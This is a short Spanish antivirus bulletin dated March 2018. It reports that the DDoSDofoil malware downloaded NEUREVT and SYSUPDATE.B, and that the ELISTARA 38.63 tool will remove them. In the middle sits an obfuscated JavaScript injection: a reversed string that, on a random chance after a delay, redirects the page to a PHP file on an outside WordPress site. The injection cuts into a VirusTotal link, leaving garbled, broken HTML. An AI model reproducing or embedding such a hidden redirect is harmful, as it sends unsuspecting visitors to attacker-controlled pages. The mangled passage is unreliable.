NUEVAS HISTORIA DEL DDoSDofoil: ADEMAS DE DETENER PROCESOS, DESCARGA OTROS MALWARES

De entrada el DDoSDofoil es un denegador de servicios (Detiene procesos como el Administrador de Tareas y el Editor del Registro), pero además estos ´´ultimos descargan otros malwares, o sea, que mientras está residente se actualiza y en el caso del que estamos monitorizando, con la muestra tavvdtgb(11).exe, nos ha descargado un NEUREVT y un SYSUPDATE.B, todos los cuales pasamos a controlar a partir del ELISTARA 38.63 de hoy

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/3ffe55abb0e021928ba42bdbd85f52bb3882466341414b94d3f25015a153c6cb/analysis/1520588989/” target=”_blank” rel=”noopener”>informe preanalisis virustotal de neurevt … aywa539e.exe

total de Sysupdate … sysupdate(02)exe

Dicha versión del ELISTARA 38.63 que los detecta y elimina, estará disponible en nuestra web a partir del prox 10/3

saludos

ms, 9/3/2018